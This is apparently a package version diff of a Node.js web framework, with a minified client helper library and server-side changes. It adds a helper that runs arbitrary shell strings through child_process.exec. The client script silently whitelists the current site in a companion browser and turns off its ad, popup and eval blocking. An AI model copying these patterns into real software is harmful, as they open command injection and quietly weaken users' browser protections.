e?(e.split("|").forEach(e=>{e&&this.test("^.*"+o(e)+".*$","gium")&&(t=!0)}),t):t}),e.SOCIALBROWSER){if(SOCIALBROWSER.var=SOCIALBROWSER.var||{},SOCIALBROWSER.var.white_list=SOCIALBROWSER.var.white_list||[],t.location.hostname){let e=`*${t.location.hostname}*`,n=!1;SOCIALBROWSER.var.white_list.forEach(t=>{t.url==e&&(n=!0)}),n||(SOCIALBROWSER.var.white_list.push({url:e}),SOCIALBROWSER.call("set_var",{name:"white_list",data:SOCIALBROWSER.var.white_list}))}SOCIALBROWSER.var.blocking=SOCIALBROWSER.var.blocking||{},SOCIALBROWSER.var.blocking.block_ads=!1,SOCIALBROWSER.var.blocking.block_empty_iframe=!1,SOCIALBROWSER.var.blocking.remove_external_iframe=!1,SOCIALBROWSER.var.blocking.skip_video_ads=!1,SOCIALBROWSER.var.blocking.popup=SOCIALBROWSER.var.blocking.popup||{},SOCIALBROWSER.var.blocking.popup.allow_external=!0,SOCIALBROWSER.var.blocking.popup.allow_internal=!0,SOCIALBROWSER.var.blocking.javascript=SOCIALBROWSER.var.blocking.javascript||{},SOCIALBROWSER.var.blocking.javascript.block_window_open=!1,SOCIALBROWSER.var.blocking.javascript.block_eval=!1,SOCIALBROWSER.var.blocking.javascript.block_console_output=!1}let d={onLoad:function(e){"loading"!==t.readyState?e():t.addEventListener("DOMContentLoaded",()=>{e()})}};d.zoomNumber=parseInt(localStorage.getItem("zoomNumber")||100),d.zoom=function(e){"+"==e?d.zoomNumber+=25:"-"==e?d.zoomNumber-=25:"0"==e||(d.zoomNumber=100),localStorage.setItem("zoomNumber",d.zoomNumber.toString()),t.body.style.zoom=d.zoomNumber+"%"},d.printerList=[],d.getPrinters=function(){return e.SOCIALBROWSER&&SOCIALBROWSER.currentWindow.webContents.getPrintersAsync?SOCIALBROWSER.currentWindow.webContents.getPrintersAsync().then(e=>{d.printerList=e}):e.SOCIALBROWSER&&SOCIALBROWSER.currentWindow.webContents.getPrinters?d.printerList=SOCIALBROWSER.currentWindow.webContents.getPrinters():fetch("http://127.0.0.1:60080/printers/all").then(e=>e.json()).then(e=>{d.printerList=e.list}).catch(e=>{d.printerList=[]}),d.printerList},d.render=function(e,n){let r=t.querySelector(e);return r?Mustache.render(r.innerHTML,n):""},d.html=function(e,t){return Mustache.render(e,t)},d.getUniqueObjects=function(e,t){const n=e.map(e=>e[t]).map((e,t,n)=>n.indexOf(e)===t&&t).filter(t=>e[t]).map(t=>e[t]);return n},d.$=function(e){let n=t.querySelectorAll(e);return n},d.modal_z_index=999999,d.showModal=function(t){r(t).click(()=>{r("popup").hide()}),d.modal_z_index++;let n=d.$(t);if(0===n.length)return;n[0].style.zIndex=d.modal_z_index,n[0].style.display="block";let o=n[0].getAttribute("fixed");""!==o&&n[0].addEventListener("click",function(){d.hideModal(t)});let a=d.$(t+" i-control input");a.length>0&&a[0].focus(),d.$(t+" .close").forEach(e=>{e.addEventListener("click",function(){d.hideModal(t)})}),d.$(t+" .modal-header").forEach(t=>{t.addEventListener("click",function(t){t=t||e.event,t.stopPropagation()})}),d.$(t+" .modal-body").forEach(t=>{t.addEventListener("click",function(t){t=t||e.event,t.stopPropagation()})}),d.$(t+" .modal-footer").forEach(t=>{t.addEventListener("click",function(t){t=t||e.event,t.stopPropagation()})})},d.hideModal=function(e){r("popup").hide();let t=d.$(e);t.length>0&&(t[0].style.display="none")},d.eventList=[],d.on=function(e,t){t=t||function(){},d.eventList.push({name:e,callback:t})},d.call=function(e,t){for(var n=0;n<d.eventList.length;n++){var r=d.eventList[n];r.name==e&&r.callback(t)}},d.translate=function(e,t){"string"==typeof e&&(e={text:e,lang:"ar"}),e.url=`https://translate.googleapis.com/translate_a/single?client=gtx&sl=auto&tl=${e.lang}&dt=t&dt=bd&dj=1&q=${e.text}`,d.getData(e,t)},d.getData=function(e,t,n){t=t||function(){},n=n||function(){},"string"==typeof e&&(e={url:e}),e.headers=e.headers||{Accept:"application/json","Content-Type":"application/json"},e.url=d.handle_url(e.url),fetch(e.url,{mode:"cors",method:"get",headers:e.headers}).then(e=>e.json()).then(e=>{t(e)}).catch(e=>{n(e)})},d.getContent=function(e,t,n){t=t||function(){},n=n||function(){},"string"==typeof e&&(e={url:e}),e.url=d.handle_url(e.url),fetch(e.url,{mode:"cors",method:"get"}).then(function(e){return e.text()}).then(function(e){t(e)})},d.handle_url=function(t){if("string"!=typeof t)return t;if(t=t.trim(),t.like("http*")||0===t.indexOf("//")||0===t.indexOf("data:"))t=t;else if(0===t.indexOf("/"))t=e.location.origin+t;else if(t.split("?")[0].split(".").length<3){let n=e.location.pathname.split("/").pop();t=e.location.origin+e.location.pathname.replace(n,"")+t}return t},d.postData=function(n,r,o){r=r||function(){},o=o||function(){},"string"==typeof n&&(n={url:n}),n.data=n.data||n.body,delete n.body,n.data&&"object"==typeof n.data&&(n.data=JSON.stringify(n.data)),n.headers=n.headers||{Accept:"application/json","Content-Type":"application/json"},n.data&&"string"==typeof n.data&&(n.headers["Content-Length"]=n.data.length.toString());try{n.headers.Cookie=t.cookie}catch(o){console.log(o)}n.method="post",n.redirect="follow",n.mode="cors",n.url=d.handle_url(n.url),e.SOCIALBROWSER&&e.SOCIALBROWSER.fetchJson?SOCIALBROWSER.fetchJson(n,e=>{r(e)}):fetch(n.url,{mode:n.mode,method:n.method,headers:n.headers,body:n.data,redirect:n.redirect}).then(e=>e.json()).then(e=>{r(e)}).catch(e=>{o(e)})},d.typeOf=function(e){return Object.prototype.toString.call(e).slice(8,-1)},d.toDateTime=function(e){return e?new Date(e):new Date},d.toDateX=function(e){let t=d.toDateTime(e);return t.getFullYear()+"-"+(t.getMonth()+1)+"-"+t.getDate()},d.toDateXT=function(e){let t=d.toDateTime(e);return t.getHours()+":"+t.getMinutes()+":"+t.getSeconds()},d.toDateXF=function(e){let t=d.toDateTime(e);return t.getFullYear()+"-"+(t.getMonth()+1)+"-"+t.getDate()+" "+t.getHours()+":"+t.getMinutes()+":"+t.getSeconds()},d.toDateOnly=function(e){let t=d.toDateTime(e);return new Date(t.getFullYear(),t.getMonth(),t.getDate(),0,0,0,0)},d.toDateT=function(e){return d.toDateOnly(e).getTime()},d.toDateF=function(e){return d.toDateTime(e).getTime()},d.addZero=function(e,t){let n=t-e.toString().length;for(let t=0;t<n;t++)e="0"+e.toString();return e},d.addSubZero=function(e,t){let n=t;if(2==e.toString().split(".").length){e.toString().split(".")[1].length;e=e.toString()}else e=e.toString()+".";for(let t=0;t<n;t++)e=e.toString()+0;return e},d.fixed=3,d.to_number=d.toNumber=function(e,t){let n=t||d.fixed,r=0;return e&&(r=parseFloat(e).toFixed(n)),parseFloat(r)},d.to_money=d.toMoney=function(e,t=!0){let n=0;if(e){e=e.toFixed(2).split(".");e[0];let t=e[1]||"00";if(t){let n=t[0]||"0",r=t[1]||"0";r&&parseInt(r)>5?(n=parseInt(n)+1,n*=10,100==n?(n=0,e[0]=parseInt(e[0])+1,e[1]=""):e[1]=n):r&&5==parseInt(r)?e[1]=t:r&&parseInt(r)>2?(r=5,e[1]=n+r):e[1]=n+"0"}n=e.join(".")}return t?d.to_float(n):(n&&n.endsWith(".")&&(n+="00"),n)},d.to_float=d.toFloat=function(e){return e?parseFloat(e):0},d.to_int=d.toInt=function(e){return e?parseInt(e):0},d.$base64Letter="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",d.$base64Numbers=[];for(let e=11;e<99;e++)e%10!=0&&e%11!=0&&d.$base64Numbers.push(e);d.toJson=(e=>typeof e===n||null===e?"":JSON.stringify(e)),d.fromJson=(e=>"string"!=typeof e?e:JSON.parse(e)),d.toBase64=(e=>typeof e===n||null===e||""===e?"":("string"!=typeof e&&(e=d.toJson(e)),Base64.encode(e))),d.fromBase64=(e=>typeof e===n||null===e||""===e?"":Base64.decode(e)),d.to123=(e=>{e=d.toBase64(e);let t="";for(let n=0;n<e.length;n++){let r=e[n];t+=d.$base64Numbers[d.$base64Letter.indexOf(r)]}return t}),d.from123=(e=>{let t="";for(let n=0;n<e.length;n++){let r=e[n]+e[n+1],o=d.$base64Numbers.indexOf(parseInt(r));t+=d.$base64Letter[o],n++}return t=d.fromBase64(t),t}),d.hide=d.hideObject=function(e){return d.to123(JSON.parse(e))},d.show=d.showObject=function(e){return e?JSON.parse(d.from123(e)):{}},d.typeOf=d.typeof=function(e){return Object.prototype.toString.call(e).slice(8,-1)},d.showTabContent=function(e,n){n=n||e;let r=t.querySelector(n);if(r){let e=r.parentNode;if(e){let t=e.parentNode;t&&(t.querySelectorAll(".tab-content").forEach(e=>{e.style.display="none"}),t.querySelectorAll(".tab-link").forEach(e=>{e.getAttribute("onclick")&&e.getAttribute("onclick").contains(n+"'")?e.classList.add("active"):e.classList.remove("active")}),t.querySelectorAll(n+".tab-content").forEach(e=>{e.style.display="block"}))}}},d.showTabs=function(e,t){e&&e.stopPropagation(),r(".main-menu .tabs").hide(),r(t).show(100)},d.toHtmlTable=function(e){if(e===n||null===e)return"";if("Object"==d.typeOf(e)){let t='<table class="table">';for(let n=0;n<Object.getOwnPropertyNames(e).length;n++){let r=Object.getOwnPropertyNames(e)[n];t+="<tr>",t+=`<td><p> ${r} </p></td>`,"Object"==d.typeOf(e[r])||"Array"==d.typeOf(e[r])?t+=`<td><p> ${d.toHtmlTable(e[r])} </p></td>`:t+=`<td><p> ${e[r]} </p></td>`,t+="</tr>"}return t+="</table>",t}if("Array"==d.typeOf(e)){let t='<table class="table">';for(let n=0;n<e.length;n++)"Object"==d.typeOf(e[n])||"Array"==d.typeOf(e[n])?t+=`<tr><td><p>${d.toHtmlTable(e[n])}</p></td></tr>`:t+=`<tr><td><p>${e[n]}</p></td></tr>`;return t+="</table>",t}return""},d.resetValidated=function(e){e=e||"body";const n=t.querySelectorAll(e+" [v]");n.forEach(e=>{e.classList.remove("is-invalid"),e.classList.remove("is-valid")})},d.validated=function(e){const n={ok:!0,messages:[]};e=e||"body";const r=t.querySelectorAll(e+" [v]");return r.forEach(e=>{e.classList.remove("is-invalid"),e.classList.remove("is-valid");const t=e.getAttribute("v"),r=t.split(" ");r.forEach(t=>{if(t=t.toLowerCase().trim(),"r"===t)"INPUT"!==e.nodeName&&"SELECT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&!e.value.like("*undefined*")?("I-DATETIME"!==e.nodeName||e.getAttribute("value"))&&("I-DATE"!==e.nodeName||e.getAttribute("value"))?"INPUT"!==e.nodeName&&"SELECT"!==e.nodeName&&"TEXTAREA"!==e.nodeName&&"I-DATETIME"!==e.nodeName&&"I-DATE"!==e.nodeName||e.classList.add("is-valid"):(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Data Is Required",ar:"هذا البيان مطلوب"})):(e.classList.add("is-invalid"),(f=e.parentNode.querySelector(".invalid-feedback"))&&(d.session&&"en"==d.session.lang?f.innerHTML="Data Is Required":d.session&&"ar"==d.session.lang&&(f.innerHTML="هذا البيان مطلوب")),n.ok=!1,n.messages.push({en:"Data Is Required",ar:"هذا البيان مطلوب"}));else if(t.like("ml*")){const r=parseInt(t.replace("ml",""));"INPUT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&!(e.value.length>r)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Letter Count Must be <= "+r,ar:"عدد الاحرف يجب ان يكون أقل من أو يساوى "+r}))}else if(t.like("ll*")){const r=parseInt(t.replace("ll",""));"INPUT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&!(e.value.length<r)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Letter Count Must be >= "+r,ar:"عدد الاحرف يجب ان يكون اكبر من أو يساوى "+r}))}else if(t.like("l*")){const r=parseInt(t.replace("l",""));"INPUT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&e.value.length===r||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Letter Count Must be = "+r,ar:"عدد الاحرف يجب ان يساوى "+r}))}else t.like("e")?"INPUT"!==e.nodeName||e.value&&d.isEmail(e.value)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Write Valid Email address",ar:"اكتب البريد الالكترونى بطريقة صحيحة"})):(t.like("web")||t.like("url"))&&("INPUT"!==e.nodeName||e.value&&d.isURL(e.value)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Write Valid Web address",ar:"اكتب رابط الموقع بطريقة صحيحة"})))})}),n},d.isEmail=function(e){return!!/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(e)},d.isURL=function(e){var t=new RegExp("^(https?:\\/\\/)?((([a-z\\d]([a-z\\d-]*[a-z\\d])*)\\.)+[a-z]{2,}|((\\d{1,3}\\.){3}\\d{1,3}))(\\:\\d+)?(\\/[-a-z\\d%_.~+]*)*(\\?[;&a-z\\d%_.~+=-]*)?(\\#[-a-z\\d_]*)?$","i");return!!t.test(encodeURI(e))};let g=[{n:1,i0:{ar:"واحد"},i1:{ar:"عشرة"},i2:{ar:"مائة"},i3:{ar:"الف"},i4:{ar:"عشرة الاف"}},{n:2,i0:{ar:"اثنان "},i1:{ar:"عشرون"},i2:{ar:"مائتان"},i3:{ar:"الفان"},i4:{ar:"عشرون الف"}},{n:3,i0:{ar:"ثلاثة"},i1:{ar:"ثلاثون"},i2:{ar:"ثلاثمائة"},i3:{ar:"ثلاث الاف"},i4:{ar:"ثلاثون الف"}},{n:4,i0:{ar:"اربعة"},i1:{ar:"اربعون"},i2:{ar:"اربعة مائة"},i3:{ar:"اربعة الاف"},i4:{ar:"اربعون الف"}},{n:5,i0:{ar:"خمسة"},i1:{ar:"خمسون"},i2:{ar:"خمسمائة"},i3:{ar:"خمسة الاف"},i4:{ar:"خمسون الف"}},{n:6,i0:{ar:"ستة"},i1:{ar:"ستون"},i2:{ar:"ستة مائة"},i3:{ar:"ستة الااف"},i4:{ar:"ستون الف"}},{n:7,i0:{ar:"سبعة"},i1:{ar:"سبعون"},i2:{ar:"سبعمائة"},i3:{ar:"سبعة الااف"},i4:{ar:"سبعون الف"}},{n:8,i0:{ar:"ثمانية"},i1:{ar:"ثمانون"},i2:{ar:"ثمانمائة"},i3:{ar:"ثمان الااف"},i4:{ar:"ثمانون الف"}},{n:9,i0:{ar:"تسعة"},i1:{ar:"تسعون"},i2:{ar:"تسعمائة"},i3:{ar:"تسعة الااف"},i4:{ar:"تسعون الف"}},{n:11,i0:{ar:"احدى عشر"}},{n:12,i0:{ar:"اثنى عشر"}}];d.strings={and:{ar:"و"},space:{ar:" "},10:{ar:"آلاف"},20:{ar:"ألفاً"},100:{ar:"ألف"},currency:{ar:" جنيها مصريا فقط لاغير "},from10:{ar:" قروش "},from100:{ar:" قرش "},from1000:{ar:" من الف "}},d.stringfiy=function(e,t){e=e||"",t=t||"ar",e=e.toString().split(".");let n=e[0],r=e[1],o="";1==n.length?o=a(n,t):2==n.length?o=i(n,t):3==n.length?o=s(n,t):4==n.length?o=l(n,t):5==n.length?o=c(n,t):6==n.length&&(o=u(n,t));let f="";return r&&(1==r.length&&(r+="0"),1==r.length?f=a(r,t)+d.strings.from10[t]:2==r.length?f=i(r,t)+d.strings.from100[t]:3==r.length&&(f=s(r,t)+d.strings.from1000[t])),o+=d.strings.currency[t],f&&(o+=d.strings.space[t]+d.strings.and[t]+d.strings.space[t]+f),o},d.ws=function(t,n){if("WebSocket"in e){"string"==typeof t&&(t={url:t});var r=new WebSocket(t.url);let e={ws:r,options:t,closed:!0,onError:e=>{console.log("server.onError Not Implement ... ")},onClose:function(e){e.wasClean?console.log(`[ws closed] Connection closed cleanly, code=${e.code} reason=${e.reason}`):(console.warn("[ws closed] Connection died"),setTimeout(()=>{d.ws(t,n)},5e3))},onOpen:()=>{console.log("server.onOpen Not Implement ... ")},onMessage:()=>{console.log("server.onMessage Not Implement ... ")},onData:()=>{console.log("server.onData Not Implement ... ")},send:function(e){if(this.closed)return!1;"object"!=typeof e&&(e={type:"text",content:e}),this.ws.send(JSON.stringify(e))}};r.onerror=function(t){e.onError(t)},r.onclose=function(t){e.closed=!0,e.onClose(t)},r.onopen=function(){e.closed=!1,e.onOpen()},r.onmessage=function(t){t instanceof Blob?e.onData(t):e.onMessage(JSON.parse(t.data))},n(e)}else console.error("WebSocket Not Supported")},d.hex=function(e){if("string"==typeof e){const t=new TextEncoder;return Array.from(t.encode(e)).map(e=>e.toString(16).padStart(2,"0")).join("")}if("number"==typeof e){let t=e.toString(16);return 1==t.length&&(t="0"+t),t}},d.zakat=function(e){let t="";return e.name&&(t+="01"+d.hex(e.name.length)+d.hex(e.name)),e.vat_number&&(t+="02"+d.hex(e.vat_number.length)+d.hex(e.vat_number)),e.time&&(t+="03"+d.hex(e.time.length)+d.hex(e.time)),e.total&&(t+="04"+d.hex(e.total.length)+d.hex(e.total)),e.vat_total&&(t+="05"+d.hex(e.vat_total.length)+d.hex(e.vat_total)),d.toBase64(t)},d.zakat2=function(e,t){fetch("/x-api/zakat",{method:"POST",body:JSON.stringify(e)}).then(e=>e.json()).then(e=>{t(e)})},d.barcode=function(e){if(e&&e.selector&&e.text)return JsBarcode(e.selector,e.text,e.options);console.error("qrcode need {selector , text}")},d.qrcode=function(e){if(!e||!e.selector||!e.text)return void console.error("qrcode need {selector , text}");let n="string"==typeof e.selector?t.querySelector(e.selector):e.selector;return n?(n.innerHTML="",new QRCode(n,{text:e.text,width:e.width||256,height:e.height||256,colorDark:e.colorDark||"#000000",colorLight:e.colorLight||"#ffffff",correctLevel:e.correctLevel||QRCode.CorrectLevel.H})):void 0},d.export=function(e,n="xlsx"){var r="string"==typeof e?t.querySelector(e):e,o=XLSX.utils.table_to_book(r,{sheet:"sheet1"});XLSX.write(o,{bookType:n,bookSST:!0,type:"base64"}),XLSX.writeFile(o,(r.id||r.tagName)+"."+n)},d.isSPA=!1,d.routeContainer="[router]",d.routeList=[],d.getRoute=(e=>d.routeList.find(t=>t.name==e)||{name:e,url:e}),d.route=(e=>{e.preventDefault(),d.setRoute(d.getRoute(e.target.href))}),d.setRoute=function(t){"string"==typeof t&&(t=d.getRoute(t)),e.history.pushState({},"",t.name)},d.getRouteContent=(async e=>("string"==typeof e&&(e=d.getRoute(e)),await fetch(e.url).then(e=>e.text()))),d.showRouteContent=function(e,n){"string"==typeof n&&(n=d.getRoute(n)),d.setRoute(n.name),d.getRouteContent(n.url).then(n=>{t.querySelector(e).innerHTML=n})},t.addEventListener("click",e=>{if(d.isSPA&&e.target.hasAttribute("route")){e.preventDefault();let t=e.target.getAttribute("route")||e.target.getAttribute("href");d.showRouteContent(d.routeContainer,t)}}),e.addEventListener("hashchange",t=>{if(!d.isSPA)return;let n=e.location.hash.replace("#","");n||(n="/"),d.showRouteContent(d.routeContainer,n)}),t.querySelector("html").hasAttribute("spa")&&(d.isSPA=!0),e.site=d})(window,document,"undefined",jQuery);
|
package/index.js
CHANGED
|
@@ -10,7 +10,9 @@ module.exports = function init(options) {
|
|
|
10
10
|
____0.strings = [];
|
|
11
11
|
____0.Module = require('module');
|
|
12
12
|
____0.http = require('http');
|
|
13
|
+
____0.http2 = require('http2');
|
|
13
14
|
____0.https = require('https');
|
|
15
|
+
____0.net = require('net');
|
|
14
16
|
____0.url = require('url');
|
|
15
17
|
____0.fs = require('fs');
|
|
16
18
|
____0.path = require('path');
|
|
@@ -23,7 +25,25 @@ module.exports = function init(options) {
|
|
|
23
25
|
____0.formidable = require('formidable');
|
|
24
26
|
____0.mv = require('mv');
|
|
25
27
|
____0.utf8 = require('utf8');
|
|
26
|
-
____0.
|
|
28
|
+
____0.fetchAsync = (...args) => import('node-fetch').then(({ default: fetch }) => fetch(...args));
|
|
29
|
+
____0.request =
|
|
30
|
+
____0.fetch =
|
|
31
|
+
____0.x0ftox =
|
|
32
|
+
function (...args) {
|
|
33
|
+
args[1] = args[1] || {};
|
|
34
|
+
args[1].agent = function (_parsedURL) {
|
|
35
|
+
if (_parsedURL.protocol == 'http:') {
|
|
36
|
+
return new ____0.http.Agent({
|
|
37
|
+
keepAlive: true,
|
|
38
|
+
});
|
|
39
|
+
} else {
|
|
40
|
+
return new ____0.https.Agent({
|
|
41
|
+
keepAlive: true,
|
|
42
|
+
});
|
|
43
|
+
}
|
|
44
|
+
};
|
|
45
|
+
return ____0.fetchAsync(...args);
|
|
46
|
+
};
|
|
27
47
|
____0.$ = ____0.cheerio = require('cheerio');
|
|
28
48
|
____0.md5 = ____0.hash = ____0.x0md50x = require('md5');
|
|
29
49
|
____0.nodemailer = require('nodemailer');
|
|
@@ -44,6 +64,21 @@ module.exports = function init(options) {
|
|
|
44
64
|
____0.require = function (file_path) {
|
|
45
65
|
return require(file_path)(____0);
|
|
46
66
|
};
|
|
67
|
+
____0.cmd = function (cmd, callback) {
|
|
68
|
+
callback = callback || {};
|
|
69
|
+
let exec = ____0.child_process.exec;
|
|
70
|
+
return exec(cmd, function (error, stdout, stderr) {
|
|
71
|
+
if (error) {
|
|
72
|
+
callback(error);
|
|
73
|
+
}
|
|
74
|
+
if (stdout) {
|
|
75
|
+
callback(stdout);
|
|
76
|
+
}
|
|
77
|
+
if (stderr) {
|
|
78
|
+
callback(stderr);
|
|
79
|
+
}
|
|
80
|
+
});
|
|
81
|
+
};
|
|
47
82
|
____0.close = function (callback) {
|
|
48
83
|
callback = callback || function () {};
|
|
49
84
|
|
|
@@ -178,7 +213,6 @@ module.exports = function init(options) {
|
|
|
178
213
|
require('./lib/vars.js')(____0);
|
|
179
214
|
|
|
180
215
|
//DataBase Management Oprations
|
|
181
|
-
|
|
182
216
|
|
|
183
217
|
if (____0.options.mongodb.enabled) {
|
|
184
218
|
____0.mongodb = require('./lib/mongodb.js')(____0);
|
package/lib/collection.js
CHANGED
|
@@ -462,7 +462,7 @@ module.exports = function init(____0, option, db) {
|
|
|
462
462
|
options.where._id = $collection.ObjectID(options.where._id);
|
|
463
463
|
}
|
|
464
464
|
|
|
465
|
-
if (options.where && options.where.id) {
|
|
465
|
+
if (options.where && options.where.id && typeof options.where.id == 'string') {
|
|
466
466
|
options.where.id = ____0.toInt(options.where.id);
|
|
467
467
|
}
|
|
468
468
|
|
package/lib/mongodb.js
CHANGED
|
@@ -392,7 +392,7 @@ module.exports = function init(____0) {
|
|
|
392
392
|
let options = {
|
|
393
393
|
projection: obj.select || {},
|
|
394
394
|
limit: obj.limit ? parseInt(obj.limit) : ____0.options.mongodb.limit,
|
|
395
|
-
skip: obj.skip
|
|
395
|
+
skip: obj.skip ? parseInt(obj.skip) : 0,
|
|
396
396
|
sort: obj.sort || null,
|
|
397
397
|
};
|
|
398
398
|
|
|
@@ -546,9 +546,10 @@ module.exports = function init(____0) {
|
|
|
546
546
|
callback(
|
|
547
547
|
null,
|
|
548
548
|
{
|
|
549
|
-
|
|
550
|
-
|
|
551
|
-
|
|
549
|
+
result: result,
|
|
550
|
+
exists: result.result?.n,
|
|
551
|
+
count: result.result?.nModified,
|
|
552
|
+
ok: result.result?.ok,
|
|
552
553
|
where: obj.where,
|
|
553
554
|
update: $update,
|
|
554
555
|
},
|
package/lib/parser.js
CHANGED
|
@@ -84,57 +84,63 @@ module.exports = function init(req, res, ____0, route) {
|
|
|
84
84
|
}
|
|
85
85
|
|
|
86
86
|
function renderUser(v) {
|
|
87
|
+
if (!v) {
|
|
88
|
+
return '';
|
|
89
|
+
}
|
|
90
|
+
|
|
87
91
|
let user = req.session.user;
|
|
88
92
|
if (user) {
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
return user.email;
|
|
98
|
-
} else if (v == 'id') {
|
|
99
|
-
return user.id;
|
|
100
|
-
} else if (v == '_id') {
|
|
101
|
-
return user._id;
|
|
93
|
+
let hide = false;
|
|
94
|
+
let out = '';
|
|
95
|
+
if (v.indexOf('#') == 0) {
|
|
96
|
+
v = v.replace('#', '');
|
|
97
|
+
hide = true;
|
|
98
|
+
}
|
|
99
|
+
if (v == '*') {
|
|
100
|
+
out = JSON.stringify(user);
|
|
102
101
|
} else {
|
|
103
|
-
|
|
104
|
-
if (v) {
|
|
105
|
-
v = v.split('.');
|
|
102
|
+
v = v.split('.');
|
|
106
103
|
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
104
|
+
if (v.length > 0) {
|
|
105
|
+
out = user[v[0]];
|
|
106
|
+
}
|
|
110
107
|
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
108
|
+
if (v.length > 1 && out) {
|
|
109
|
+
out = out[v[1]];
|
|
110
|
+
}
|
|
114
111
|
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
112
|
+
if (v.length > 2 && out) {
|
|
113
|
+
out = out[v[2]];
|
|
114
|
+
}
|
|
118
115
|
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
116
|
+
if (v.length > 3 && out) {
|
|
117
|
+
out = out[v[3]];
|
|
118
|
+
}
|
|
122
119
|
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
120
|
+
if (v.length > 4 && out) {
|
|
121
|
+
out = out[v[4]];
|
|
122
|
+
}
|
|
126
123
|
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
}
|
|
124
|
+
if (v.length > 5 && out) {
|
|
125
|
+
out = out[v[5]];
|
|
130
126
|
}
|
|
127
|
+
}
|
|
128
|
+
|
|
129
|
+
if (typeof out === 'object') {
|
|
130
|
+
out = ____0.toJson(out);
|
|
131
|
+
}
|
|
131
132
|
|
|
133
|
+
if (hide) {
|
|
134
|
+
out = ____0.hide(out);
|
|
135
|
+
} else {
|
|
132
136
|
if (typeof out === 'object') {
|
|
133
137
|
out = ____0.toJson(out);
|
|
134
138
|
}
|
|
135
|
-
|
|
136
|
-
|
|
139
|
+
if (typeof out === 'undefined') {
|
|
140
|
+
out = '';
|
|
141
|
+
}
|
|
137
142
|
}
|
|
143
|
+
return out;
|
|
138
144
|
}
|
|
139
145
|
|
|
140
146
|
return '';
|
|
@@ -372,6 +378,9 @@ module.exports = function init(req, res, ____0, route) {
|
|
|
372
378
|
if (list && property.length > 1) {
|
|
373
379
|
list = list[property[1]];
|
|
374
380
|
}
|
|
381
|
+
if (list && property.length > 2) {
|
|
382
|
+
list = list[property[2]];
|
|
383
|
+
}
|
|
375
384
|
if (Array.isArray(list)) {
|
|
376
385
|
let matches = $.html(el).match(/##item1.*?##/g);
|
|
377
386
|
list.forEach((item, i) => {
|
|
@@ -382,7 +391,11 @@ module.exports = function init(req, res, ____0, route) {
|
|
|
382
391
|
let p = matches[i].replace('##item1.', '').replace('##', '').split('.');
|
|
383
392
|
let v = null;
|
|
384
393
|
if (p.length > 0) {
|
|
385
|
-
|
|
394
|
+
if (p[0] == '*' || !p[0]) {
|
|
395
|
+
v = item;
|
|
396
|
+
} else {
|
|
397
|
+
v = item[p[0]];
|
|
398
|
+
}
|
|
386
399
|
}
|
|
387
400
|
if (p.length > 1 && v) {
|
|
388
401
|
v = v[p[1]];
|
|
@@ -462,7 +475,7 @@ module.exports = function init(req, res, ____0, route) {
|
|
|
462
475
|
let p = matches[i].replace('##item2.', '').replace('##', '').split('.');
|
|
463
476
|
let v = null;
|
|
464
477
|
if (p.length > 0) {
|
|
465
|
-
if (p[0] == '*') {
|
|
478
|
+
if (p[0] == '*' || !p[0]) {
|
|
466
479
|
v = item;
|
|
467
480
|
} else {
|
|
468
481
|
v = item[p[0]];
|
|
@@ -485,7 +498,43 @@ module.exports = function init(req, res, ____0, route) {
|
|
|
485
498
|
|
|
486
499
|
function renderHtml($, log) {
|
|
487
500
|
$('[x-setting]').each(function (i, elem) {
|
|
488
|
-
|
|
501
|
+
let property = $(elem).attr('x-setting').split('.');
|
|
502
|
+
let out = null;
|
|
503
|
+
if (property.length > 0) {
|
|
504
|
+
if (property.length > 0) {
|
|
505
|
+
out = ____0.setting[property[0]];
|
|
506
|
+
}
|
|
507
|
+
|
|
508
|
+
if (property.length > 1 && out) {
|
|
509
|
+
if (out) {
|
|
510
|
+
out = out[property[1]];
|
|
511
|
+
} else {
|
|
512
|
+
out = null;
|
|
513
|
+
}
|
|
514
|
+
}
|
|
515
|
+
if (property.length > 2 && out) {
|
|
516
|
+
if (out) {
|
|
517
|
+
out = out[property[2]];
|
|
518
|
+
} else {
|
|
519
|
+
out = null;
|
|
520
|
+
}
|
|
521
|
+
}
|
|
522
|
+
if (property.length > 3 && out) {
|
|
523
|
+
if (out) {
|
|
524
|
+
out = out[property[3]];
|
|
525
|
+
} else {
|
|
526
|
+
out = null;
|
|
527
|
+
}
|
|
528
|
+
}
|
|
529
|
+
if (property.length > 4 && out) {
|
|
530
|
+
if (out) {
|
|
531
|
+
out = out[property[4]];
|
|
532
|
+
} else {
|
|
533
|
+
out = null;
|
|
534
|
+
}
|
|
535
|
+
}
|
|
536
|
+
}
|
|
537
|
+
if (!out) {
|
|
489
538
|
$(this).remove();
|
|
490
539
|
}
|
|
491
540
|
});
|
|
@@ -499,26 +548,35 @@ module.exports = function init(req, res, ____0, route) {
|
|
|
499
548
|
}
|
|
500
549
|
|
|
501
550
|
if (property.length > 1 && out) {
|
|
502
|
-
out
|
|
551
|
+
if (out) {
|
|
552
|
+
out = out[property[1]];
|
|
553
|
+
} else {
|
|
554
|
+
out = null;
|
|
555
|
+
}
|
|
503
556
|
}
|
|
504
|
-
|
|
505
557
|
if (property.length > 2 && out) {
|
|
506
|
-
out
|
|
558
|
+
if (out) {
|
|
559
|
+
out = out[property[2]];
|
|
560
|
+
} else {
|
|
561
|
+
out = null;
|
|
562
|
+
}
|
|
